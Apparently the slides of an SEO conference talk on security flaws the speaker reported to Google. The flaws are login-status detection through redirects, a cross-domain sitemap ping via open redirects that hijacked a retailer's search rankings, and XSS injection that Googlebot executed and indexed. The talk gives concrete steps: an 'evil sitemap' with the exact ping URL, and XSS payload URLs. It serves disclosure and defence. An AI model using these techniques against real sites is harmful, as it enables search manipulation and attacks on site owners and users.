Hacking Google

Improving Your SEO by Thinking Like a Hacker

@TomAnthonySEO
20 years ago...
I’d hacked into a corporate network...
287 Years
Turns out, SEO required same mindset...
Bring back the Hacker Mindset
Disclaimer:

Distilled don’t condone blackhat.
Blackhat is naughty & bad!
Social Network
Login Status

Google
Manual Actions

XML Sitemaps
Manipulation

Recent Experiments
“Give me new stuff, Tom!”
DETECT WHICH SOCIAL NETWORKS PEOPLE ARE LOGGED INTO

Social Network Login Status Detector Demo

This is a demonstration of how a website can detect which Social Networks a user is logged into when they visit. In my tests it seems to work in all the major browsers (Firefox, Chrome, IE 7+, Safari and Opera).

For details please see my post on how to detect which social networks your visitors are logged into.

You are currently logged in to Facebook

You are not currently logged in to Twitter

You are currently logged in to Google

You are not currently logged in to Google Plus

If you want to prevent sites from being able to detect this then for Firefox you can try RequestPolicy or NoScript. For Chrome you can give ScriptNo a shot. On IE you can try giving Firefox or Chrome a try. :)

http://www.tomanthony.co.uk/tools/detect-social-network-logins/
facebook.com/tomsprofile
Page served (200):

facebook.com/tomsprofile
facebook.com/tomsprofile

Page served (200):

facebook.com/tomsprofile

302 redirect to:

facebook.com/login?continue=/tomsprofile
facebook.com/login?continue=/tomsprofile
facebook.com/login?continue=/tomsprofile

What happens if we go directly to this login URL?
facebook.com/login?continue=/tomsprofile

302 redirect to:
facebook.com/tomsprofile

Already logged in, so just redirect to the intended page.
302 redirect to:

facebook.com/tomsprofile

Page served (200):

facebook.com/login?continue=/tomsprofile

Not logged in, so show the login page.
facebook.com/login?continue=/logo.png

We can change the destination, e.g. to an image URL.
302 redirect to:

facebook.com/logo.png
facebook.com/login?continue=/logo.png

302 redirect to:
facebook.com/logo.png

Page served (200):
facebook.com/login?continue=/logo.png
facebook.com/login?continue=/logo.png

Image

Webpage
<img src="facebook.com/login?continue=/logo.png"
onerror="alert('anonymous')"
onsuccess="alert('logged in')" />
onerror="alert('anonymous')"
onsuccess="alert('loggedin')"}
onerror="alert('anonymous')"
onsuccess="alert('loggedin')" /
onsuccess alert('loggedin')
onerror alert('anonymous')
OTHERS HAVE EXTENDED IT

https://robinlinus.github.io/socialmedia-leak/
PUMP IT INTO GA
CUSTOMISE SOCIAL BUTTONS
LOGGED IN TO A COMPETITOR?

[Images of Hotel.com and Booking.com interfaces]

Q: Hotel search
- Destination: Brioni, Croatia
- Check-in: 05/08/2018
- Check-out: 12/08/2018
- Rooms: 1, Adults: 2, Children: 2
- Search

Find deals for any season
- Destination:Lucija
- Check-in: 05 Aug - 12 Aug
- Search

Register. Earn. Pay for your passions
- List your place on Booking.com
- Refer a friend to Booking.com, and you both Begin earning!

Lucija
- Top reasons to visit:
- Still interested in your previous searches for Lucija?

Benalmádena
- Top reasons to visit:
- Still interested in your previous searches for Benalmádena?
Social Network preferences can be recorded*/used.
Redirects can be abused to get unexpected behaviours
Google Manual Actions
Google Launches Manual Spam Actions Viewer, Streamlines Reconsideration Process

Matt McGee on August 8, 2013 at 3:15 pm

Google is adding a new feature in Webmaster Tools that will leave no doubt when a site’s search rankings are affected by a manual webspam action.

It's called the Manual Actions viewer, and it's available today under the “Search Traffic” tab. The new tool complements the email notifications that Google already sends when it takes manual action against a website, giving site owners a way to check their site's status on their own at any time.

Google says fewer than two percent of domains in its index are manually removed due to spam, so
Google Says “Snag” Has Taken Manual Spam Actions Viewer Offline

Matt McGee on August 9, 2013 at 5:01 pm

If you’re not seeing the “Manual Actions” feature in Google Webmaster Tools, you’re not alone. Many webmasters have taken to Twitter and other social networks to ask if their link has been removed from their accounts, and Google has its original announcement to say that a “snag” will delay full launch for a couple days:

Unfortunately we’ve hit a snag during our feature deployment, so it will be another couple days before the feature is available to everyone. We will post another update once the feature is fully rolled out.

The Manual Actions viewer is a tool that lets webmasters do a live-check against Google’s internal systems and find out if their site has been the subject of a manual spam penalty. Google also released a number of videos related to the types of penalties the tool identifies. You can read more about the tool and those videos in our coverage from yesterday:
Manual Actions

Site-wide matches

- Partial matches
  Reason
  Unnatural links to your site—impacts links
  Google has detected a pattern of unnatural artificial, deceptive, or manipulative links pointing to pages on this site. Some links may be outside of the webmaster’s control, so for this incident we are taking targeted action on the unnatural links instead of on the site’s ranking as a whole. Learn more.

  Affects
  Some incoming links

REQUEST A REVIEW
RESPONSE (NO PENALTY)
POSSIBLE TO SIMPLY CRAWL LIST OF MANUAL ACTIONS

http://www.com/

(Pure Spam):

(Not Links):
SOME SITES HAD MORE PROBLEMS THAN OTHERS...
At this point, I’d confirmed there was a definite security issue, and reported it to Google.
Google Manual Actions Report Back In Webmaster Tools

Aug 12, 2013 • 8:25 am | (6)
by Brooklyn Schwartz | Filed Under Google Search Engine Optimization

Google reported that Google launched manual actions in Webmaster Tools, which basically will alert you in almost real time if you have any manual actions against your web site.

Shortly after, Google had to take down the tool because of some issue. Well, the feature is now back as of this morning.

Google's Matt Cutts wrote on Friday afternoon:

Unfortunately we've hit a snag during our feature deployment, so it will be another couple days before the feature is available to everyone. We will post another update once the feature is fully rolled out.
OMINOUS MATT CUTTS EMAILS... :D

Matt Cutts

to Tom

I think you must have seen that we turned things back on, because we saw you testing it after we turned it back on.

* Matt was actually great
✓ Acknowledged report in only 11 minutes!
✓ Triaged in a couple of hours.
✓ Fixed and back online in 4 days.
✓ $5000 bounty.
A lot more sites have manual penalties than you may think!
Google Search Console also has security gaps
So far not shown any direct manipulation of rankings...
XML Sitemaps Manipulation
Redirects can be abused to get unexpected behaviours
Google Search Console also has security gaps
Can we combine those?
SUBMITTING AN XML SITEMAP

✓ Search Console
✓ robots.txt
SUBMITTING AN XML SITEMAP

1. Open the Sitemaps report.
2. Select the sitemap(s) you want to resubmit from the table.
3. Click the Resubmit sitemap button.

💡 You can also resubmit a sitemap by sending an HTTP GET request to the following URL, specifying your own sitemap URL:

SUBMITTING AN XML SITEMAP

1. Open the Sitemaps report.
2. Select the sitemap(s) you want to resubmit from the table.
3. Click the Resubmit sitemap button.

You can also resubmit a sitemap by sending an HTTP GET request to the following URL, specifying your own sitemap URL:


Not entirely true...
CAN SUBMIT NEW SITEMAP FILES VIA THE PING URL

✓ Typically crawled within seconds
✓ No auth - ping sitemaps for any domain
✓ Google follows redirects
CAN SUBMIT NEW SITEMAP FILES VIA THE PING URL

✓ Typically crawled within seconds
✓ No auth - ping sitemaps for any domain
✓ Google follows redirects

Interesting...
GOOGLE’S CHECKLIST FOR A VALID XML SITEMAP

✓ Sitemap must be correctly formatted
✓ The URLs must exist
✓ Site containing the URLs must be in GSC
✓ Site hosting the sitemap must be in GSC
✓ Sitemap must be correctly formatted
✓ The URLs must exist
✓ Site containing the URLs must be in GSC
✓ Site hosting the sitemap must be in GSC
### Google’s Checklist for a Valid XML Sitemap

<table>
<thead>
<tr>
<th>#</th>
<th>Type</th>
<th>Issue</th>
<th>Description</th>
<th>Issues count</th>
<th>Example</th>
<th>Line</th>
<th>Detected</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Errors</td>
<td>URL not allowed</td>
<td>This url is not allowed for a Sitemap at this location.</td>
<td>7</td>
<td>URL: <a href="https://www.joncaiderson.com/">https://www.joncaiderson.com/</a></td>
<td>3</td>
<td>Sep 12, 201*</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>URL: <a href="https://www.joncaiderson.com/blog/">https://www.joncaiderson.com/blog/</a></td>
<td>11</td>
<td>Sep 12, 201*</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>URL: <a href="https://www.joncaiderson.com/tools/">https://www.joncaiderson.com/tools/</a></td>
<td>15</td>
<td>Sep 12, 201*</td>
</tr>
</tbody>
</table>

✅ Site hosting the sitemap must be in GSC
Observations

✓ Google follows redirects
✓ Site hosting sitemap must be in GSC
OBSERVATIONS

✓ Google follows redirects
✓ Site hosting sitemap must be in GSC

QUESTIONS

✓ Will Google follow a x-domain sitemap redirect?
✓ Will they ‘trust' it?
Will Google follow a cross domain redirect for a sitemap?
1. Hosted a sitemap.xml on blue.com
2. Setup a redirect script on green.com
3. Ping green.com?next=blue.com/sitemap.xml

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://green.com?next=blue.com/sitemap.xml
Will Google follow a cross domain redirect for a sitemap?

YES
Will they ‘trust' it?
(if submitted via ping url)
Will they ‘trust' it?

Let’s assume...
How could we exploit it?
JONO IS OUR INNOCENT VICTIM

jono.com
jono.com/logout?continue=/page.html
REDIRECT URLs STRIKE BACK!

```
jono.com/logout?continue=/page.html
```

```
jono.com/page.html
```

302
OPEN REDIRECTS (CROSS DOMAIN)

jono.com/logout?continue=tom.com/page.html
OPEN REDIRECTS (CROSS DOMAIN)

jono.com/logout?continue=tom.com/page.html

302

tom.com/page.html
WHAT HAPPENS IF WE DO THIS?

jono.com/logout?continue=tom.com/evil.xml
WHAT HAPPENS IF WE DO THIS?

`jono.com/logout?continue=tom.com/evil.xml`

302

`tom.com/evil.xml`
WHAT HAPPENS IF WE DO THIS?

`jono.com/logout?continue=tom.com/evil.xml`

302

`tom.com/evil.xml`

URL on jono.com, but serves XML Sitemap from tom.com.
WHAT HAPPENS IF WE DO THIS???

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://jono.com/logout?continue=tom.com/evil.xml
WHAT HAPPENS IF WE DO THIS???

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://jono.com/logout?continue=tom.com/evil.xml

jono.com/logout?continue=tom.com/evil.xml
WHAT HAPPENS IF WE DO THIS???

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://jono.com/logout?continue=tom.com/evil.xml

FETCH

jono.com/logout?continue=tom.com/evil.xml

302

tom.com/evil.xml
WHAT HAPPENS IF WE DO THIS???

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://jono.com/logout?continue=tom.com/evil.xml

Will Google think the evil sitemap belongs to jono.com?
PINGING SITEMAPS CROSS-DOMAIN

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://jono.com/logout?continue=tom.com/evil.xml

✓  Google follows the redirect, and crawls it.
✓  Google trusts it as canonical to the originating domain.
GOOGLE BELIEVES IT IS A JONO.COM SITEMAP

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://jono.com/logout?continue=tom.com/evil.xml

Ah, an XML sitemap for jono.com!
WE CAN NOW SUBMIT TRUSTED SITEMAPS FOR OTHER SITES
We can now submit hreflang entries for other sites...
Lets try it in the wild...
DISCLAIMER

I’m showing real results, but an alternative (similarly sized) UK retailer in the screenshots.
EXPERIMENT: HIJACK TESCO.COM INTERNATIONAL EQUITY
UK PRESENCE, BUT NO US PRESENCE
HIJACK UK EQUITY TO RANK IN US
STEP 1: FIND A REDIRECT
STEP 1: FIND A REDIRECT

https://www.tesco.com/account/logout?from=/
STEP 2: REGISTER A DOMAIN ($12)

TESCOGLOBAL.COM
STEP 3: SETUP A NEW SITE

✓ Scrape contents for products/categories
✓ Mirror the URL structure
STEP 4: CREATE AN EVIL SITEMAP

```xml
<url>
  <loc>http://www.tesco.com/example/</loc>
  <xhtml:link rel="alternate" hreflang="x-default" href="https://www.tescoglobal.com/example/"/>
  <xhtml:link rel="alternate" hreflang="en-us" href="https://www.tescoglobal.com/example/"/>
  <xhtml:link rel="alternate" hreflang="en-gb" href="https://www.tesco.com/example/"/>
</url>
```
STEP 5: PING OUR EVIL SITEMAP (HOSTED ON OUR FAKE SITE)

https://www.google.com/webmasters/sitemaps/ping?
sitemap=http://www.tesco.com/logout?
continue=http://tescoglobal.com/sitemap_global.xml
RESULTS: CRAWL ACTIVITY APPEARS IN SEARCH CONSOLE
RESULTS: SEARCH VISIBILITY GROWS RAPIDLY

- **7.5K** positions
- **36.2K** traffic
- **$33.2K** traffic cost

**Organic Search Positions for google.com database**

**SERP Features**
- Site links: 0.06%
- Featured snippet: 0.03%
- Reviews: 0.06%
- Knowledge panel: 2.28%
- Instant answer: 0.14%
- Local pack: 1.33%

**Traffic**
- **4 Aug**: 20K
- **6 Aug**: 40K
- **8 Aug**: 60K

**Organic Search Positions 1-100 (15,538)**

- Add to Export Manager
- Filter by keyword
- Advanced filters
RESULTS: TRAFFIC APPEARING IN GA

Audience Overview

Overview

Sessions: 744
Users: 708
Pageviews: 2,249

Pages / Session: 3.02
Avg. Session Duration: 00:01:51
Bounce Rate: 51.88%

% New Sessions: 95.16%

New Visitor vs. Returning Visitor

Aug 4, 2017 - Aug 10, 2017
RESULTS: BRITISH TERMS RANKING 1ST FOR MANY QUERIES

<table>
<thead>
<tr>
<th>New Keyword</th>
<th>Pos</th>
<th>Volume</th>
<th>KD</th>
<th>CPC (USD)</th>
<th>URL</th>
<th>Traffic %</th>
<th>Costs %</th>
<th>Com.</th>
<th>Results</th>
<th>Trend</th>
<th>SERP</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>76.65</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>716,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>74.11</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.32</td>
<td>650,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>73.11</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>1.00</td>
<td>1,720,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>69.99</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.62</td>
<td>1,380,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>81.74</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>284,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>73.90</td>
<td>0.86</td>
<td></td>
<td>0.01</td>
<td>0.01</td>
<td>0.95</td>
<td>1,100,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>76.38</td>
<td>1.17</td>
<td></td>
<td>0.01</td>
<td>0.01</td>
<td>0.95</td>
<td>714,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>81.11</td>
<td>0.60</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>1.00</td>
<td>1,370,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>77.51</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.13</td>
<td>992,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>77.13</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>264,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>82.15</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>1.00</td>
<td>406,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>64.99</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>1.00</td>
<td>1,510,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>75.80</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>843,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>81.80</td>
<td>1.08</td>
<td></td>
<td>0.01</td>
<td>0.01</td>
<td>1.00</td>
<td>60,500,000</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>10</td>
<td>78.23</td>
<td>0.00</td>
<td></td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>4,220,000</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Still only submitted a sitemap, nothing else.
RESULTS: TRAFFIC KEEPS ON INCREASING...

Overview

Right now

8

active users on site

Top Referrals:

<table>
<thead>
<tr>
<th>Source</th>
<th>Active Users</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Top Social Traffic:

<table>
<thead>
<tr>
<th>Source</th>
<th>Active Users</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Top Keywords:

<table>
<thead>
<tr>
<th>Keyword</th>
<th>Active Users</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Top Active Pages:

<table>
<thead>
<tr>
<th>Active Page</th>
<th>Active Users</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Create Shortcut BETA
RESULTS: SEARCH VISIBILITY GROWS MORE

98.8K KEYWORDS
64.6K TRAFFIC
$59.3K TRAFFIC COST
RESULTS: I HIT FIRST PAGE FOR COMPETITIVE MONEY TERMS...

- 1st page of results
- 6 days old domain
- 0 links
RESULTS: MILLIONS OF SEARCH IMPRESSIONS

<table>
<thead>
<tr>
<th>Total clicks</th>
<th>Total impressions</th>
</tr>
</thead>
<tbody>
<tr>
<td>11,235</td>
<td>1,590,842</td>
</tr>
</tbody>
</table>

![Graph showing clicks and impressions](image-url)
‘LINKS’ APPEAR IN GSC — SHOWING GOOGLE TRUSTS THE SITEMAP
EARLIER: CAN’T SUBMIT SITEMAPS IN GSC WHEN NOT PERMITTED

SITEMAP NOT PERMITTED EXAMPLE:
NOW: CROSS SUBMITTED THE SITEMAP TO MY GSC, AND IT WAS ALLOWED

### SITEMAP NOT PERMITTED EXAMPLE:

<table>
<thead>
<tr>
<th>#</th>
<th>Type</th>
<th>Issue</th>
<th>Description</th>
<th>Issues count</th>
<th>Example</th>
<th>Line</th>
<th>Detected</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Errors</td>
<td>URL not allowed</td>
<td>This url is not allowed for a Sitemap at this location. 7</td>
<td></td>
<td>URL: <a href="https://jonoalderson.com/">https://jonoalderson.com/</a></td>
<td>3</td>
<td>Sep 12, 201</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>URL: <a href="https://jonoalderson.com/blog/">https://jonoalderson.com/blog/</a></td>
<td>11</td>
<td>Sep 12, 201</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>URL: <a href="https://jonoalderson.com/tools/">https://jonoalderson.com/tools/</a></td>
<td>15</td>
<td>Sep 12, 201</td>
</tr>
</tbody>
</table>

### SITEMAP FOR “TESCO.COM” URLS WAS ALLOWED IN “TESCOGLOBAL.COM” GSC:

<table>
<thead>
<tr>
<th>#</th>
<th>Sitemap</th>
<th>Type</th>
<th>Processed</th>
<th>Issues</th>
<th>Items</th>
<th>Submitted</th>
<th>Indexed</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Sitemap</td>
<td>Sitemap</td>
<td>Sep 4, 2017</td>
<td>-</td>
<td>Web</td>
<td>5,000</td>
<td>3,571</td>
</tr>
<tr>
<td>2</td>
<td>Sitemap</td>
<td>Sitemap</td>
<td>Sep 3, 2017</td>
<td>-</td>
<td>Web</td>
<td>2,881</td>
<td>1,963</td>
</tr>
</tbody>
</table>
EVEN TRACKS INDEXATION...

SITEMAP NOT PERMITTED EXAMPLE:

<table>
<thead>
<tr>
<th>#</th>
<th>Type</th>
<th>Issue</th>
<th>Description</th>
<th>Issues count</th>
<th>Example</th>
<th>Line</th>
<th>Detected</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Errors</td>
<td>URL not allowed</td>
<td>This url is not allowed for a Sitemap at this location.</td>
<td>7</td>
<td>URL: <a href="https://www.joncaiderson.com/">https://www.joncaiderson.com/</a></td>
<td>3</td>
<td>Sep 12, 2011</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>URL: <a href="https://www.joncaiderson.com/blog/">https://www.joncaiderson.com/blog/</a></td>
<td>11</td>
<td>Sep 12, 2011</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>URL: <a href="https://www.joncaiderson.com/tools/">https://www.joncaiderson.com/tools/</a></td>
<td>15</td>
<td>Sep 12, 2011</td>
</tr>
</tbody>
</table>

SITEMAP FOR “TESCO.COM” URLS WAS ALLOWED IN “TESCOGLOBAL.COM” MSEC:

<table>
<thead>
<tr>
<th>#</th>
<th>Type</th>
<th>Processed</th>
<th>Issues</th>
<th>Items</th>
<th>Submitted</th>
<th>Indexed</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Sitemap</td>
<td>Sep 4, 2017</td>
<td>-</td>
<td>Web</td>
<td>5,000</td>
<td>3,571</td>
</tr>
<tr>
<td>2</td>
<td>Sitemap</td>
<td>Sep 3, 2017</td>
<td>-</td>
<td>Web</td>
<td>2,881</td>
<td>1,963</td>
</tr>
</tbody>
</table>
SUMMARY

✓ Budget: $12
✓ Setup time: ~4 hours
✓ Other activity: nothing
✓ Links: 0
✓ Impressions: > 1.5 million
✓ Clicks: > 12,000
Using the Sitemap report

The Sitemaps report landing page shows a list of sitemaps that you have submitted to Search Console. Only sitemaps submitted through this tool are listed; the report will not list sitemaps exposed through other means, such as robots.txt or google.com/ping.
I reported it in September 2017

March 2018 - Google award a bug bounty

March 2018 - Google confirm it is fixed.

April 2018 - Google increase the bug bounty ($5000)
hreflang entries are ignored if your sitemaps are unverified
Ensure you do not have open redirects on your site!
(robots.txt block them if you can’t remove them)
Not seen this attack in wild. Check your logs for 302s.
XSS Attacks
WHAT IS AN XSS ATTACK?

```html
<div>
    Showing page <?=$_GET['page']?>
</div>
```

XSS = Cross Site Scripting
IMAGINE THIS URL

https://foo.com/stores/?page=1
WE COULD DO THIS

https://foo.com/stores/?page=<script>alert('hello')</script>
IF IT ISN’T WELL CODED, WAY MAY FIND...

https://foo.com/stores/?page=<script>alert('hello')</script>

will turn into...

```html
<div>
  Showing page <script>alert('hello')</script>
</div>
```
XSS IS A VERY COMMON PROBLEM

https://www.openbugbounty.org/
DON’T WORRY - CHROME PROTECTS YOU...

This page isn’t working

Chrome detected unusual code on this page and blocked it to protect your personal information (for example, passwords, phone numbers and credit cards).

Try visiting the site's homepage.

ERR_BLOCKED_BY_XSS_AUDITOR
Chromes XSS auditor isn’t perfect.
(but Firefox doesn’t even seem to have one)
REMINDER!

We know that Googlebot is based off Chrome 41...
Chrome 41 had no (good) XSS Auditor
BUT GOOGLEBOT RECEIVES SOME CHROME PATCHES...
Nope, Googlebot really does not have an XSS Auditor...
RECAP

✓ Googlebot uses Chrome 41
RECAP

✓ Googlebot uses Chrome 41

✓ Googlebot executes and indexes Javascript
RECAP

✓ Googlebot uses Chrome 41
✓ Googlebot executes and indexes Javascript
✓ Chrome 41 has no Javascript injection protection...

WHAT NEXT, I WONDER?!
Googlebot will happily execute XSS to update pages however you want...
GOOGLEBOT WILL HAPPILY LET XSS JS UPDATE PAGES...

Page is not mobile friendly
This page can be difficult to use on a mobile device

Fix the following 2 issues

- Content wider than screen
- Clickable elements too close together

Additional resources

- Find out how to fix these errors
- See mobile usability issues for my entire site
- Find out more about mobile-friendly pages
- Post comments or questions to our discussion group
WE COULD JUST REWRITE THE WHOLE CONTENT...

Hello SMX Munich!
Even Blue Gherkins sometimes think Alternate Gherkins are an improvement!

try me

About this page makes sense, unless you consider how fantastic alternative styles of gherkins can be.

This link only exists in Javascript
GOOGLEBOT INDEXES JAVASCRIPT CANONICALS...

You can canonical other sites to yourself...
URL INSPECTOR CONFIRMS THIS

http://www.pernicioussquirrel.co.uk/bluegerkins.php?wonder=document.getElementsByTagName('link')[0].href="/redonions.php"

Availability
URL can be indexed

URL will be indexed only if certain conditions are met

Discovery
Not checked in live tests

Crawl
Time
2 Nov 2018, 15:53:19
Crawl allowed?
Yes
Page fetch
Successful

Indexing
Indexing allowed?
Yes
User-declared canonical
http://www.pernicioussquirrel.co.uk/redonions.php
OR YOU CAN JUST ADD LINKS TO YOUR SITE...

Googlebot type: Desktop (render requested)
Complete on Thursday, March 28, 2019 at 5:18:31 AM PDT

This is how Googlebot saw the page:
GOOGLE FINDS, CRAWLS AND INDEXES THESE LINKS

I injected this URL into Revolut and sent Googlebot to the Revolut page.

Googlebot definitely sees XSS injected links, and crawls them.
GOOGLE ALSO CONFIRM JS LINKS ARE FINE

@JoelMesherghi

Hey John, will a JS link receive as much link equity vs a HTML link? Does the rendering process have an impact?

@JohnMu

A link is a link, when it comes to indexing, it doesn't matter how it ended up there.

@JoelMesherghi

Thanks for the reply John. Just to clarify, links rendered via JS will be indexed, BUT will a JS link receive as much link equity vs a HTML link? Thanks.

@JohnMu

yes
How widespread are XSS exploits?
125,000 un-patched XSS bugs...

260 .gov

971 .edu

195 of the top 500 domains

4469 of the top 20k domains
BLACK HAT USES

- Build parasite links en masse
- Link network on these victim sites
- Canonical victim sites to your site

I don’t recommend you do these things yourself.
You should defend yourself.

XSS issues pose a risk to both your site and your users.
Nov. 2018: I reported this to Google on

Nov. 2018: Google acknowledged the report

Present: Google have yet to fix this citing internal communication issues between teams.
Wrapping up...
SUMMARY

✓ Think outside the box.

✓ Try to understand what is happening ‘behind the scenes’.

✓ I’ve shown mostly black hat stuff, but the same approach works for white hat.
Bring back the Hacker Mindset
Danke!
@TomAnthonySEO

Check out our SEO A/B testing platform:
https://odn.distilled.net